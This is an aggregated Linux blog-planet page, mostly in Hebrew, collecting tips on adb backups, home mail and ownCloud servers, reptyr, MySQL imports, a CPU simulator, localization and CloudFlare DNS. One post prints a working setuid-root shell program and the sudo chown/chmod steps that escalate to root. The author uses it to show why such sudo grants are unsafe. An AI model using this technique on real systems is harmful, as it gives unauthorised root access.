כל שצריך הוא android-sdk מותקן על המחשב (למעשה את הפקודה adb בלבד) ואפשר לגבות איתה. השימוש הוא פשוט, לכתוב את הפקודה הבאה במחשב תוך כדי שהמכשיר הסלולרי מחובר למחשב:

adb backup  -f backup-2015-2-15.ab -apk -bb com.whatsup com.pinterest

הפקודה תיצור ארכיב שיש בו את החבילות שביקשתם, ההגדרות שלהן וההרחבות שלהן. ניתן לשים כמה חבילות שרוצים, וניתן לשנות את שם הקובץ שייכתב. יש לשים לב, כי צריך לשים את השם הקנוני של החבילה ולא הטקסט שכתוב בלאונצ'ר. כדי למצוא את השם המדוייק של החבילה אני משתמש בפקודה הבאה:

adb shell pm list packages | grep firefox
package:org.mozilla.firefox

לשיחזור, משתמשים בפקודה הבאה:

adb restore backup-2015-2-15.ab

כמה הערות:

  1. כשיתחיל הגיבוי בטלפון יהיה חלון שבו תתבקשו לשים ססמה כדי להגן את הגיבוי. אני סטלן ושוכח את הססמאות… אז לפעמים אני שם את הססמה בשם הקובץ… אבל לאחרונה גם וויתרתי על זה ואני פשוט מאשר כדי לעשות גיבוי ללא ססמה.
  2. אם גיבית אם ססמה – כדי לשחזר צריך גם ססמה. אם אין ססמה – אי אפשר לשחזר, מניסיון :)
  3. אין בעיות להעביר גיבוי בין מכשירים. אני העברתי את whatsup כולל היסטוריה מלאה של שיחות, כמה פעמים בין מכשירים בטכניקה הזאת.
  4. אני יצרתי סקריפט ששומר מספר חבילות (כאלו שאין בחנות של אנדרויד, שזמינות דרך FDroid) וגם שם את התאריך בשם הקובץ (שימוש בפקודת לינוקס date).
  5. אם תשימו את דגל -shared בסוף הפקודה (המקף מצד שמאל למילה) תגבו גם הגדרות כלליות של המכשיר (אני חושב שגם תמונות). אני מגבה אותן ידנית, פשוט מעתיק למחשב.
  6. כדי לגבות ולשחזר שיחות ו-SMS אני משתמש בתוכנה SMS & Call backup
  7. אנשי קשר ופגישות נשמרים בשרתים של גוגל. אני אישיתי משתמש ב-OwnCloud ומשתדל לא לשים אנשי קשר שם (וזה ממש קשה, גוגל די דוחפת שאני אעשה את זה, גם אם זה בטעות).
  8. בדביאן ניתן להתקין את החבילה android-tools-adb במקום להוריד כמה מגה מהשרתים של גוגל של android-sdk.

גיבוי שני – דרך ה-recovery. יפורסם בעתיד.

הטקסט המלא

07 March, 2015 09:10 PM

01 March, 2015

Boris Shtrasman

ענני


השבוע חזרתי קצת לילדות בשביל להרים סביבת עבודה נוחה יותר לבית; מפה לשם הייתי צריך להיזכר באיך מרימים שרתי דוא"ל ,שירותי קבצים (webdav) ואימות.תוך כדי הבנייה קיבלתי תזכורת כואבת כי צריך לתרגל  כי אחרת שוכחים דברים מה שהוביל לכמעט יום עבודה במקום מספר שעות בודדות.

המערכת בנוייה בצורה הבאה :

כל לקוח שצריך להתחבר למערכת מתחבר באמצעות openvpn לתוך הרשת הפנימית שלי ושם מקבל שירותי דוא"ל , אנשי קשר,ויומן.



שירותי ה DNS שבתוך שרת ה openvpn ניתנים ע"י bind9, שירותי הדואל מסופקים ע"י dovecot ו exim4 היומן ואנשי הקשר מסופקים ע"י ownloud.

בשביל ה SSL יצרתי לעצמי CA אישי וחתמתי על האישורים ע"י ה CA הזה , לאחר מכן התקנתי את האישור בכל אחד מהמכשירים שצריכים להתחבר (הנה מדריך מצויין).

שירותי ההזדהות של exim משתמשים ב SASL (בחרתי ב SASL כי אני רוצה לחבר גם ejabbered לסביבה וזה יקל עלי את החיים לאחר מכאן) (מדריך כאן).

בגלל שבחרתי לעבוד עם משתמשים אמיתיים (ולא וירטואליים) נכון לרגע זה , הדבר מאפשר שכל משתמש מכיל את האפשרות לקבל את כל המיילים שלו מגימייל לשירות המייל הפנימי ע"י הגדרה אישית מולו.

פעולה זו מתבצעת ע"י fetchmail + cron , יש ליצור הגדרה עבור כל משתמש שרוצה את העבודה בצורה הבאה :

usera@sinta:~$ cat .fetchmailrc

poll pop.gmail.com with proto POP3 and options no dns port 995 user gmailuser@gmail.com there with password gmailpassword is usera here options ssl


לאחר מכאן ביצוע crontab -e מתוך המשתמש בשביל להוסיף את fetchmail -vk.

לאחר מכן לקוח אנדרויד יכול למשוך את ההודעות ע"י שימוש ב K9 ולגשת לממשק המשתמש ע"י הדפדפן האוהב עליו.

להפתעתי גיליתי של firefox 35 שמסופק ע"י f-droid יש בעייה בעבודה עם שירות ה dns שנדחף ע"י openvpn בגלל באג פתוח עד 35 כולל, בגירסה 36 זה קורה פחות אבל זה היה פשוט מטמטם הבטיחו לתקן ב 37 נחייה ונראה.

עבור המערכת שתספק אנשי הקשר והיומן בחרתי ב owncloud במקום ב kolab או citadel ללא שום סיבה מיוחדת.בדרך גיליתי עד כמה ממשק המשתמש של owncloud איטי ועקום לטעמי, אבל שאר המערכות נראות כמתפקדות ללא שום בעייה ייתכן וזה קשור לעובדה שכל זה רץ מתוך רסבריי פי.

לדוגמה ייבוא יומנים מ ICS  - הדרך לייבא היא העלאה של הקובץ ולאחר מכאן (דרך ממשק משתמש) ללחוץ עליו ורק אז תשאל לאן תרצה לייבא את היומן.

עיגון תיקיות ה webdav ככונן משותף עבד חלק בדביאן, בוינדוס 7 ובאנדרואיד השתמשתי באפליקציה (הצולעת לטעמי) owncloud.

השלב הבא בבנייה (שאותה לא עשיתי עדיין) הוא הרמה של slapd וכיוון של כלל המערכות לעבוד מולו, אני חושב שזה עדיף בשביל הזיהוי מאשר עבודה מול טבלאות בשרת דואל (כך גם אין לי vendor lock מעצבן כמו שיש ב KDE). בניית סביבת ejabbered ועוד.

01 March, 2015 04:35 PM

28 February, 2015

Shlomi Fish

Tech Tip: How to Configure Qt 5 Behaviour When Running on KDE4

Recently, I noticed that when running the VLC-2.2.0 prerelease, which is based on Qt 5 for its GUI, on my Mageia Linux 5 system on top of KDE 4, then in the playlist a single-click immediately played a file instead of selecting it, while reserving a double click for activation. After a long amount of research and thought, I figured out a way to configure Qt 5 on top of KDE.

To do so:

  1. Install lxqt-config and the “lxqt-qtplugin”.

  2. Add the line “export QT_QPA_PLATFORMTHEME=lxqt” somewhere before the desktop startup in your “.Xclients” or “.xinitrc” file (or in your “.bashrc”).

  3. Restart the X/KDE environment.

  4. Run “lxqt-config” to configure the appropriate behaviour.

This way one can use the Qt5 customisations of lxqt in KDE 4. Enjoy!

Licence

You can reuse this entry under the Creative Commons Attribution 3.0 Unported licence, or at your option any later version. See the instructions of how to comply with it.

28 February, 2015 12:12 PM

26 February, 2015

Shlomi Fish

“Out of the Strong, Something Sweet” - How a Bug Led to a Useful Optimisation

The book Fortune or Failure: Missed Opportunities and Chance Discoveries (which my family used to own, but which I did not read) gives the case to the important role of luck and chance in scientific discoveries. Recently, when working on Project Euler Problem No. 146 I came up with a case of an accidental bug, that in turn led to an idea for a significant optimisation.

The C code with the bug (which was in turn translated from some Perl code) looked something like that:

#define DIV 9699690
#define NUM_MODS 24024
#define NUM_PRIMES 8497392

int primes[NUM_PRIMES];
int mods[NUM_MODS];

typedef long long LL;

static inline bool is_prime(LL n)
{
    LL lim = (LL)(sqrt(n));

    for (int p_idx=0; p_idx < NUM_MODS ; p_idx++)
    {
        typeof (primes[p_idx]) p = primes[p_idx];
        if (p > lim)
        {
            return true;
        }
        if (n % p == 0)
        {
            return false;
        }
    }
    return true;
}

.
.
.
            for (int y_idx=0;y_idx<sizeof(y_off)/sizeof(y_off[0]);y_idx++)
            {
                if (! is_prime(sq + y_off[y_idx]))
                {
                    goto fail;
                }
            }
            for (int n_idx=0;n_idx<sizeof(n_off)/sizeof(n_off[0]);n_idx++)
            {
                if (is_prime(sq + n_off[n_idx]))
                {
                    goto fail;
                }
            }

As you can notice eventually, the problem was that in the p_idx loop, NUM_MODS should have been the larger NUM_PRIMES. This caused the test for primality to finish faster, but to sometimes return true instead of false. As a result, I noticed that some numbers were erroneously reported as suitable, but the program finished much faster.

I corrected it and reran the program which was now much slower, but this led me to think that maybe the lower limit to the count of primes can be a pre-filter for primality for the “y_idx”/“y_off” numbers, that will run quicker and eliminate some numbers. As a result, I did this:

#define NUM_PRIMES__PRE_FILTER 24024

static inline bool is_prime__pre_filter(LL n)
{
    LL lim = (LL)(sqrt(n));

    for (int p_idx=0; p_idx < NUM_PRIMES__PRE_FILTER ; p_idx++)
    {
        typeof (primes[p_idx]) p = primes[p_idx];
        if (p > lim)
        {
            return true;
        }
        if (n % p == 0)
        {
            return false;
        }
    }
    return true;
}

.
.
.
            for (int y_idx=0;y_idx<sizeof(y_off)/sizeof(y_off[0]);y_idx++)
            {
                if (! is_prime__pre_filter(sq + y_off[y_idx]))
                {
                    goto fail;
                }
            }
            for (int y_idx=0;y_idx<sizeof(y_off)/sizeof(y_off[0]);y_idx++)
            {
                if (! is_prime(sq + y_off[y_idx]))
                {
                    goto fail;
                }
            }
            for (int n_idx=0;n_idx<sizeof(n_off)/sizeof(n_off[0]);n_idx++)
            {
                if (is_prime(sq + n_off[n_idx]))
                {
                    goto fail;
                }
            }

This made the program finish in under a minute, while yielding the correct solution. The original program, with the bug fix, was still running after several minutes.

So the bug proved to be useful and insightful. One possible future direction is to merge the two “y_idx” loops into a single function that will accept an array of numbers, and will check them all for primality using the same divisors simultaneously, so as soon as one of them is found to be non-prime, a verdict will be reached.

Licence

You can reuse this entry under the Creative Commons Attribution Noncommercial 3.0 Unported licence, or at your option any later version. See the instructions of how to comply with it.

26 February, 2015 06:23 PM

19 February, 2015

Yoav Farhi

השתיקה היא מה שנשאר אחרי הפחד

 

אנו משקיעים זמן רב בשמיעת הדברים שאנשים אומרים עד כי אנו בקושי שמים לב לדברים שהם אינם אומרים. השתיקה היא שאריות הפחד. זה להרגיש את הפגמים שלך החותכים באיבחה את לשונך. זהו האוויר הנסוג מהחזה שלך מכיוון שהוא אינו מרגיש בטוח בריאותך.


19 February, 2015 01:28 PM

13 February, 2015

Ilan Shavit

טיפ שימושי: Reptyr

השבוע אעשה פסק זמן מסקירת הפצות ואתן לכם טיפ: Reptyr. בעבר כתבתי על screen (כאן ו- כאן). במדריך זה אעשה שימוש ב- screen ואסביר כיצד ניתן להעביר סקריפט שכבר רץ לריצה תחת screen.

אז למה Reptyr משמש? נניח שהרצתם פקודה/סקריפט שאמורה לרוץ במשך זמן ממושך, אך שכחתם להריץ אותה תחת screen. אם תסגרו את חלון המסוף התכנית תישבר. במדריך זה אציג כיצד ניתן להעביר (באמצעות Reptyr) את הריצה של הפקודה/סקריפט ל- screen (מבלי לשבור אותה ולהריץ אותה מחדש).

בדוגמא שאציג קיים סקריפט בשם test.sh שרץ במסוף:

$ ./test.sh

ניתן לשים לב שאין לנו prompt. אז איך בדיוק נעביר את הריצה שלו תחת screen?

  1. נעצור (stop) לרגע את ריצת התכנית:
    CTRL-Z
    [1]+ Stopped ./test.sh
  2. ומיד נחדש את הריצה – אבל הפעם ברקע:
    $ jobs -l
    [1]+ 7483 Stopped ./test.sh
    $ bg %1
    [1]+ ./test.sh &amp;
    ‎$
  3. הפעם כמובן שקיבלנו prompt. נסיר את השיוך של test.sh מהטרנמינל הנוכחי:
    $ disown %1
  4. נריץ את screen, נברר מה מספר התהליך של הסקריפט שלנו ונעביר אותו לריצה תחת screen באמצעות Reptyr
    $ screen
    $ pgrep test
    7101
    $ reptyr 7101

זהו! ממש לא מסובך :)

My Signature

13 February, 2015 12:00 PM

10 February, 2015

Gabor Szabo

Weekend vs Weekday visits of Perl-related sites

For the full article visit Weekend vs Weekday visits of Perl-related sites

10 February, 2015 12:38 PM

06 February, 2015

Shlomi Noach

MySQL Community Awards 2015: Call for Nominations!

The 2015 MySQL Community Awards event will take place, as usual, in Santa Clara, during the Percona Live MySQL Conference & Expo, April 2015.

The MySQL Community Awards is a community based initiative. The idea is to publicly recognize contributors to the MySQL ecosystem. The entire process of discussing, voting and awarding is controlled by an independent group of community members, typically based of past winners or their representatives, as well as known contributors.

It is a self-appointed, self-declared, self-making-up-the-rules-as-it-goes committee. It is also very aware of the importance of the community; a no-nonsense, non-political, adhering to tradition, self criticizing committee.

The Call for Nominations is open. We are seeking the community’s assistance in nominating candidates in the following categories:

MySQL Community Awards: Community Contributor of the year 2015

This is a personal award; a winner would a person who has made contribution to the MySQL ecosystem. This could be via development, advocating, blogging, speaking, supporting, etc. All things go.

MySQL Community Awards: Application of the year 2015

An application, project, product etc. which supports the MySQL ecosystem by either contributing code, complementing its behaviour, supporting its use, etc. This could range from a one man open source project to a large scale social service.

MySQL Community Awards: Corporate Contributor of the year 2015

A company who made contribution to the MySQL ecosystem. This might be a corporate which released major open source code; one that advocates for MySQL; one that help out community members by... anything.

For a list of previous winners, please see MySQL Hall of Fame.

Process of nomination and voting

Anyone can nominate anyone. When nominating, please make sure to provide a brief explanation on why the candidate is eligible to get the award. Make a good case!

The committee will review all nominations and vote; it typically takes two rounds of votes to pick the winners, and a lot of discussion.

There will be up to three winners in each category.

Methods of nomination:

Please submit your nominations no later than Saturday, February 28, 2015.

The committee

Members of the committee are: Baron Schwartz, Colin Charles, Domas Mituzas, Fredric Descamps, Geoffrey Anderson, Giuseppe Maxia, Marc Delisle, Mark Leith, Philip Stoev, Ronald Bradford, Santiago Lertora. A couple additional members pending.

Jeremy Cole and myself (Shlomi Noach) are acting as co-secretaries; we will be non-voting (except for breaking ties).

The committee communicates throughout the nomination and voting process to exchange views and opinions.

The awards

Awards are traditionally (as in this year) donated by some party whose identity remains secret. Thank you, kind sponsor!

Support

This is a community effort; we ask for your support in spreading the word and of course in nominating candidates. Thanks!

06 February, 2015 07:37 PM

01 February, 2015

Gabor Szabo

Code Maven

For the full article visit Code Maven

01 February, 2015 12:31 PM

30 January, 2015

Ilan Shavit

סקירה: אופן סוזה 13.2 (חלק שני)

יציבות ומהירות עבודה:
מייד לאחר ההתקנה חוויתי תקיעות שונות ומשונות והרגשתי שהמחשב הנייד מתקשה "לסחוב" את ההפצה. הנושא הזה נפתר בשלב כלשהו (אני מעריך שאחד העדכונים טיפל בבעיה). בסופו של יום נשארתי עם סביבה יציבה שמגיבה במהירות ובקלילות לבקשות שלי. גם מנהלי החבילות עובדים במהירות כשאני מרענן את רשימת המקורות או מבקש להתקין תוכנה מסויימת. גם Yast עבר מתיחת פנים בנוגע למהירות והוא עכשיו עובד בצורה די מהירה. זמן עליית המערכת: 20 שניות מטעינת הביוס עד לטעינת שולחן העבודה (Gnome Shell).
ציון: 10/10

תמיכה בעברית:
כאן נראה שאופן-סוזה לא עשו שום דבר בנושא. התמיכה שקיימת ב- Gnome Shell בעברית היא זאת שקיימת בהפצה. הגופנים בהם בחרו (גם בשולחן העבודה וגם בגלישה ברשת) ממש מכוערים. אין להאשים בנושא זה את אופן-סוזה. הקהילה בארץ הייתה צריכה לתמוך יותר בנושא (כפי שנעשה בדביאן / אובונטו). אבל למרות זאת לנו, כדוברי השפה, הנושא חשוב ולכן לא ניתן להתעלם ממנו. הציון שהענקתי הוא גבוה (יחסית) בשל העובדה שחוץ ממראה הגופנים לא נתקלתי בשום בעיה שנוגעת לעברית.
ציון: 8/10

מראה כללי:
ההפצה לא נראית טוב. יש חוסר עקביות בשימוש בערכת הנושא + שימוש בגופנים לא יפים (לטעמי)
ציון: 6/10

מנהלי החבילות:
ההפצה מציעה מספר מנהלי חבילות (שאפילו אותי בלבלו):

הבעיה שגיליתי היא שאין חפיפה בחבילות התוכנה הנתמכות בכל אחד מהכלים הללו. חיפוש בכלי אחד לא בהכרח מביא לתוצאה הרצויה בעוד שבכלי אחר הוא כן מביא לתוצאה… בנוסף גם אין סינגריה בין התוכנות: התקנתי תוכנה מסויימת באמצעות Software ובמקביל ניסיתי להתקין תוכנה אחרת באמצעות Yast Software Managment. קיבלתי (כצפוי) הודעת שגיאה:
pk-error1
הייתי מנומס וביקשתי לעצור את Package Kit אך הפעולה נכשלה וקיבלתי שוב ושוב את ההודעה הבאה:
pk-error1
מבחינת תמיכה בתוכנות כאמור אין חפיפה בין מנהלי החבילות השונים. כשלא מצאתי במאגרים תוכנה מסויימת השתמשתי בשירות One Clink Install. כלי רשתי זה מוסיף מאגר (מעין PPA) להפצה. הוא מפעיל אח"כ את Yast2 ומתקין את התוכנה. לא כל תוכנה מצאתי באופן סוזה (לדעתי בדביאן וארץ תמיכה נרחבת יותר בחבילות תוכנה). ניסיון ההתקנה של החבילה mnemosyne היה הזוי. החבילה לא נמצאה באף אחד מהמאגרים ונעזרתי ב- One Click Install כדי להתקין אותה. הכלי אכן מצא חבילה המותאמת לאופן סוזה 13.2 אך הציע להוריד חבילות בהיקף של 1.2 גיגה בייט! ויתרתי כמובן על ההתקנה… (מי יודע אם המחשב בכלל היה עובד אחרי עדכון מסיבי זה)
בנוסף לכל הבעיות הללו קיימת בעיה בהתקנת החבילה Dropbox. ל- Dropbox יש תלות מוזרה ב- Gnu Cash. אני מעולם לא השתמשתי ב- Gnu Cash ולא ברור לי למה החבילה הנ"ל מותקנת בברירת המחדל. הסרתי אותה די בהתחלה, אך כשהתקנתי את Dropbox הוא חייב אותי להתקין אותה חזרה!
gnu-cash
רק בגלל שהעדכונים מתבצעים במהירות רבה (עדכוני דלתאות) ההפצה קיבלת את הציון הזה ולא ציון נמוך יותר
ציון: 7/10

כלים יחודים שההפצה מציעה:
ההפצה מציעה מס' כלים יחודיים:

ציון: 10/10

באגים:
התייחסתי לנושא בסעיפים שונים. מצאתי באג נוסף עליו לא כתבתי והוא חוסר היכולת להעתיק קבצים לשרת ה- NAS (יש שם הרשאות):
samba error
לדעתי אופן סוזה יכלו לעשות הרבה יותר בנושא זה.
ציון: 5/10

התרשמות כללית:
הציון שאני נותן בנושא זה מתייחס לתחושת הבטן שיש לי בנוגע להפצה. הציון משקף את מה שאני חושב עליה כמערכת שלמה לאחר שימוש של שבועיים. הציון 7 ("כמעט טוב") משקף את דעתי נאמנה. יש המון פספוסים בנושאים שונים ולכן ההפצה לא קיבלה ציון גבוה יותר (שאולי היה מגיע לה בגלל התמיכה המצויינת בנושאים אחרים שאף הפצה לא תומכת "מהקופסא", דוגמת BTRFS ו- Snapper).
ציון: 7/10

ציון כללי משוקלל: 73%

אני מקווה שנהנתם מהסקירה. כאמור זאת דעתי האישית בלבד ואם אתם חושבים כמוני ואולי אחרת (לולי?) אל תהססו להגיב :)

My Signature

30 January, 2015 11:00 AM

Dan Fruehauf

Privilege Escalation – be slack and pay for it

My predecessor(s) had left a bunch of people at my work place (not even developers) with sudo access to chown and chmod – for the purpose of data management. For a while I had tried to explain that having sudo access to just those two commands is effectively having full root access on the machines.

I had to demonstrate it. So I did:

cat <<EOF >> make-me-root.c
#include <unistd.h>
int main() {
    setuid(0);
    execv("/bin/bash", NULL);
    return 0;
}
EOF

gcc -o make-me-root make-me-root.c
sudo chown root make-me-root
sudo chmod u+s make-me-root

./make-me-root

Alright, demonstrated. Now it’s time for the raising eyebrows to follow.

And now also comes the part where I know it’s almost impossible to revoke privileges from people after they got used to a broken workflow.


30 January, 2015 12:43 AM

26 January, 2015

Rabin Yasharzadeh

Speed up a MySQL restore from a dump file

This is a small snippet I found to speed up importing MySQL dumps, it’s is almost as fast as coping the DB files directly.

Pre INSERT

Put the commands at the top of the dump file, e.g pre.sql,

SET @OLD_AUTOCOMMIT=@@AUTOCOMMIT, AUTOCOMMIT = 0;
SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS = 0;
SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS = 0;

 Post INSERT

Put these statements at the end of the dump file, e.g post.sql,

SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS;
SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS;
SET AUTOCOMMIT = @OLD_AUTOCOMMIT;

Example

cat <(cat pre.sql) <(bzcat mydb_backup.sql.bz2) <(cat post.sql) | mysql

 

26 January, 2015 02:55 PM

17 January, 2015

David Kaplan

CUPCake: Display simulation and Kernel character generation

I have made quite a bit of progress this weekend.

Firstly I'm nearing finalizing the ISA (Instruction Set Architecture) which I've started documenting. Currently most instructions are supported by the hardware itself bar the register-offset addressing.

As the defined ISA has overtaken hardware support, I decided that it's probably best implementing it as per the spec in the simulator; mainly to see if it's sufficient to do actual Turing-complete processing. To this end I've updated the simulator with support for the whole ISA. I've also made some major changes to the assembler to both in regards to suppls -lh te orting the new instructions and expand the lexical support. The assembler now can handle variables (in both .bss and .data), handles labels better, understands %define and can assemble the new offset addressing syntax.

One of the major new features in the simulator is (hacked together) support for my SPI-driven display module. I'm intending on using the ST7735R-based 1.8" LCD module from Adafruit driven off the first hardware SPI driver (SPI0). The simulated display is implemented using Pygame (SDL) and supports a 256x256 display matrix.

I have also made a start on the actual Kernel code itself. This currently consists of a basic SPI driver, the display driver for the ST7735R (sans proper init code as the simulator doesn't currently need it) and simple text routines.

For the character set I'm using the C64 character ROM with a basic routine to provide ASCII support. Here's the Kernel executing a routine on the simulator which dumps the charset:

Kernel test executing on simulator

The simulator is actually pretty slow. I'm getting ~400Khz on my Haswell i5. The hardware should run at around 100Mhz so a factor of ~250 better. Still a full screen refresh over SPI is pretty expensive...

17 January, 2015 09:47 PM

Shlomi Israeli

אלן טיורינג, הדברים שאנו חייבים לו והדברים שאנו חייבים לזכור ממנו

stock_internetאני בטוח שאין מישהו שמתעסק מעט בתחום המחשבים, שלא שמע על טיורינג. ובכן, ישנם שני קונספטים מתמטיים הקרואים כך, ישנה מכונת טיורינג וישנו מבחן טיורינג. אלו נקראו על שם המתמטיקאי הבריטי, אלן טיורינג אשר פיתח אותן. הראשונה מהווה את המודל המתמטי הראשון שפתח את הדלת לכל התחום הזה של מדעי המחשב, השניה פתחה את הדלת לתחום הבינה המלכותית.

מכונת טיורינג כאמור היא בסך הכל מודל מתמטי, היא אינה מחשב. המחשב הוא מימוש מסויים שלה.המודל אומר שיש לנו סרט כתיבה אינסופי שבכל שלב אפשר להזיז אותו ימינה או שמאלה, או לכתוב עליו 0 או 1. במונחי מחשבים של היום, הסרט הוא הזכרון או שטח האיחסון ואילו מה שמבצע את הפעולות עצמן הוא המעבד. פיתוח מודל זה היווה כאמור הפתח לקיומם של המחשבים של ימינו. הוא אחראי ישירות על המציאות שבה אנו חיים היום. אילולא טיורינג, היום לא היה לנו מחשב, לא היה לייק בפייסבוק, לא הייתם יכולים לקרוא את המאמר הזה ולא הייתם יכולים להגיב לו, העולם היה שונה לחלוטין. סביר גם להניח שחלקכם לא הייתם כלל נולדים.

בזכות פועלו של אלן טיורינג, פיצחו הבריטים את ההצפנה הנאצית, האניגמה. בזכות זה שהם בנו את המחשב הראשון.
אשאיר ל-Numberphile המעולה את הכבוד להסביר עליה:

אני כותב על זה, בעקבות הסרט "משחק החיקוי", שלמרות חוסר הדיוקים שבו, לדעתי די מוצלח ודי מומלץ לצפיה. הוא מעשיר את הידע בהיסטוריה חשובה, בתחום המחשבים בפרט ומלחמת העולם השניה בכלל. אך יותר מזה, הוא מציג גם את הפן האישי, של האדם שנקרא אלן טיורינג, הוא מראה את הדברים שהוא עבר כילד (לא יודע כמה זה מדוייק), את תקופת חייו בזמן המלחמה, ואחריה וכמובן את סופו.

בדצמבר 2013, קיבל אלן טיורינג חנינה ממלכת אנגליה, על עבירה חמורה שביצע. אלן טיורינג לאחר המלחמה לא זכה לכבוד או להערכה כלשהי מארצו, שחייבת לו כל כך הרבה. מספר שנים לאחר מכן, הואשם בעבירה קשה, שעליה נדון לעבור סירוס כימי, לאחר מכן הוא התאבד. אין זה חד משמעי, אך כנראה טבל תפוח בציאניד ואכל אותו (הלוגו של אפל אגב, מעוצב כך לזכרו). אלן טיורינג הואשם כהומוסקסואל.

לפני מספר שנים, כשטים קוק יצא מהארון (כן, זה היה לפני כמה שנים – בוקר טוב), שאלו אותי אם אני רואה בו משהו שאני צריך להתגאות בו. לא התרשמתי במיוחד, לי תמיד היה את אלן טיורינג כמודל.

זה מפתיע אותי לפעמים, שלאחר כל כך הרבה שנים, האנושות לא למדה דבר. קל לנו לבוא ולקחת זכויות בסיסיות מאנשים, בגלל שהם שונים מאיתנו, בגלל שהם נולדו שונים. הגזענות הזו, שקיימת גם היום, יורקת בפרצופיהם של המונים, שתורמים לחברה בצורה כזו או אחרת. אלן טיורינג היה אחד המוחות המדהימים של המאה האחרונה, כולנו חייבים לו את חיינו, אם לא חיינו הפיזיים, אז את אופיים של חיינו. אנחנו חיים בעולם דיגיטלי מתקדם, בו לכל אחד יש גישה למקורות מידע רבים ומגוונים. הטכנולוגיה קיבלה קפיצה מדהימה מאז, ואילולא הוא, הכל היה שונה.

דבר מעניין וטוב שראיתי בסרט, הוא ההקבלה לזכויות האישה. מודה שאני לא מכיר את הפרט הזה לעומק, אבל ג'ואן, שהיתה מאורסת אליו בתקופת המלחמה ועבדה עמו יחדיו, זכתה לפקפוק וליחס נחות יותר משאר אנשי הצוות מצד הצבא, רק בגלל היותה אישה. למרות (שלפי הסרט) היתה טובה יותר מכולם. חוסר היכולת שלנו להבין שנשים יכולות להיות טובות מגברים לפעמים או אפילו מדירים אותן, מורידים להן זכויות וכו', מראה כמה דפוקה הגישה הזו.

אם זה היה לפני שנה, שאנשים לא הבינו מדוע זה לא בסדר שיעמוד בראש ארגון קוד פתוח, גזען, או היום שלאנשים קל לוותר על זכויות של אחרים כדי לקדם את האג'נדה שלהם מבלי להניד עפעף. שכיום ישנם גורמים רבים שדואגים לשימור הגזענות והשנאה, ליצירת פערים בזכויות שניתנות לחלקים שונים באוכלוסיה. אלו אנשים שיגרמו לחורבן התרבות ולחורבן הקיום שלנו. הם מחלישים אותנו במקום לחזק אותנו. אף ארגון לא יכול להרשות לעצמו גישה שכזו, לא מדינה ולא חברת קוד פתוח, לשם קדמה צריך שוויון זכויות – לאפליה אין כאן שום מקום.

פלא שבגלל גורמים אלו, כיום אחוז ניכר מהילדים שמתאבדים הוא בקרב להט"בים? בגלל הניכור החברתי שהם מקבלים עקב השונות שלהם שמקבל עידוד מאותם גורמים? ומי יודע, אולי אחד הילדים האלו היה יכול לגדול להיות אלן טיורינג הבא.
נקודה למחשבה.

17 January, 2015 05:32 PM

05 January, 2015

Amir Aharoni

Continuous Translation and Rewarding Volunteers

In November I gave a talk about how we do localization in Wikimedia at a localization meetup in Tel-Aviv, kindly organized by Eyal Mrejen from Wix.

I presented translatewiki.net and UniversalLanguageSelector. I quickly and quite casually said that when you submit a translation at translatewiki, the translation will be deployed to the live Wikipedia sites in your language within a day or two, after one of translatewiki.net staff members will synchronize the translations database with the MediaWiki source code repository and a scheduled job will copy the new translation to the live site.

Yesterday I attended another of those localization meetups, in which Wix developers themselves presented what they call “Continuous Translation”, similarly to “Continuous Integration“, a popular software deployment methodology. Without going into deep details, “Continuous Translation” as described by Wix is pretty much the same thing as what we have been doing in the Wikimedia world: Translators’ work is separated from coding; all languages are stored in the same way; the translations are validated, merged and deployed as quickly and as automatically as possible. That’s how we’ve been doing it since 2009 or so, without bothering to give this methodology a name.

So in my talk I mentioned it quickly and casually, and the Wix developers did most of their talk about it.

I guess that Wix are doing it because it’s good for their business. Wikimedia is also doing it because it’s good for our business, although our business is not about money, but about making end users and volunteer translators happy. Wikimedia’s main goal is to make useful knowledge accessible to all of humanity, and knowledge is more accessible if our website’s user interface is fully translated; and since we have to rely on volunteers for translation, we have to make them happy by making their work as comfortable and rewarding as possible. Quick deployments is one of those things that provide this rewarding feeling.

Another presentation in yesterday’s meetup was by Orit Yehezkel, who showed how localization is done in Waze, a popular traffic-aware GPS navigator app. It is a commercial product that relies on advertisement for revenue, but for the actual functionality of mapping, reporting traffic and localization, it relies on a loyal community of volunteers. One thing that I especially loved in this presentation is Orit’s explanation of why it is better to get the translations from the volunteer community rather than from a commercial translation service: “Our users understand our product better than anybody else”.

I’ve been always saying the same thing about Wikimedia: Wikimedia projects editors are better than anybody else in understanding the internal lingo, the functionality, the processes and hence – the context of all the details of the interface and the right way to translate them.


Filed under: Free Software, localization, software, Wikipedia Tagged: Waze, Wix

05 January, 2015 03:30 PM

03 January, 2015

Kobi Zamir

Promises

Promises הם עצמים שמיועדים לתזמן מתודות מקביליות. כאשר מתודה עובדת במקביל (בצורה לא סינכרונית) היא צריכה מנגנון שיחבר אותה חזרה לתוכנה. המנגנונים המקובלים ב Javascript הם ארועים (events), פונקציות חזרה (callback functions) והבטחות (promises).

הטקסט המלא

03 January, 2015 10:42 AM

17 December, 2014

Rabin Yasharzadeh

Dynamic DNS with CloudFlare

This is a simple hack I found for my self to have a “Dynamic DNS” for my home IP.

I’m using CloudFlare as my name server to manage the zone file for my domain, And one of the nice things about FC is that they have nice API to manage your account. One of the options this API provides is the capability to update you DNS entries in the Zone.

Get your token

For all the action with the API you’ll 3 thinks, your privet token (called tkn in the API),  email and the action you like to perform.

You can find your token under your Account page

DNS Record ID

Next you’ll need to find the action you like to perform, in my case is to edit the zone file. which is under the “DNS Record Management” -> rec_edit menu, but for using this action you will need the ID number for the recored you like to change, and for that you will need to use “rec_load_all” action.

e.g

curl https://www.cloudflare.com/api_json.html \
  -d 'a=rec_load_all' \
  -d 'tkn=8afbe6dea02407989af4dd4c97bb6e25' \
  -d 'email=sample@example.com' \
  -d 'z=example.com'

The output will be in a JSON format, and the part you are looking for will look similar to this,

...
{
    "rec_id": "18136402",
    "rec_tag": "3bcef45cdf5b7638b13cfb89f1b6e716",
    "zone_name": "example.com",
    "name": "test.example.com",
    "display_name": "test",
    "type": "A",
    "prio": null,
    "content": "[server IP]",
    "display_content": "[server IP]",
    "ttl": "1",
    "ttl_ceil": 86400,
    "ssl_id": null,
    "ssl_status": null,
    "ssl_expires_on": null,
    "auto_ttl": 1,
    "service_mode": "0",
    -
    "props": {
        "proxiable": 1,
        "cloud_on": 0,
        "cf_open": 1,
